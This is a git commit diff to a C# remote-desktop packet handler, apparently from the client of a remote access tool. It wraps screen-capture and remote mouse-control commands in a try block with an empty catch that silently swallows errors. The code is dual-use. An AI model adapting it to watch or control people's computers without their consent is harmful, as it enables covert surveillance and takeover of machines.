Update HandleRemoteDesktop.cs
This commit is contained in:
parent
67836a8520
commit
049f38080c
@ -18,29 +18,33 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
try
|
||||||
{
|
{
|
||||||
case "capture":
|
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||||
{
|
{
|
||||||
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
case "capture":
|
||||||
break;
|
{
|
||||||
}
|
CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case "mouseClick":
|
case "mouseClick":
|
||||||
{
|
{
|
||||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||||
Cursor.Position = position;
|
Cursor.Position = position;
|
||||||
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "mouseMove":
|
case "mouseMove":
|
||||||
{
|
{
|
||||||
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger);
|
||||||
Cursor.Position = position;
|
Cursor.Position = position;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
catch { }
|
||||||
}
|
}
|
||||||
public void CaptureAndSend(int quality, int Scrn)
|
public void CaptureAndSend(int quality, int Scrn)
|
||||||
{
|
{
|
||||||
|
Loading…
x
Reference in New Issue
Block a user